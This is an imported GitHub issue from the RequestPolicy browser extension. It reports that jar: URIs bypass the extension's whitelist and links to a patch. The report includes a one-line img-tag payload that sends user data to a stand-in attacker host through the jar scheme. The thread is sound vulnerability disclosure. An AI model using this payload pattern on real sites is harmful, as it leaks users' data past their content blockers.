Fix requests to jar URIs always being treated as internal

[msxfm]

Issue by JordanMilne
Monday Nov 18, 2013 at 20:49 GMT
Originally opened as RequestPolicy/requestpolicy#409

---

It's possible to bypass the whitelist entirely by referencing a resource using the jar URI scheme:

<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />

Firefox will block the resource from being displayed even if it is valid (due to prior security issues with the jar scheme,) but a cross-domain request is made and it doesn't require JS to execute. This can be verified through the network pane in Firefox's dev tools.

It doesn't get logged because aContentLocation's asciiHost is undefined when the jar URI scheme is used, and it gets treated as an internal request at requestPolicyService.js:1953.

I'm attaching a patch against trunk that fixes it for me. I'm not sure if it has any interactions with extensions, but it should also fix nested use of the view-source scheme.

---

JordanMilne included the following code: https://github.com/RequestPolicy/requestpolicy/pull/409/commits

[stewie]

FWIW, a diff (vs older codebase) is viewable here:
JordanMilne/requestpolicy@a768419

Justin's link in the msg above is a better starting point for reading, though.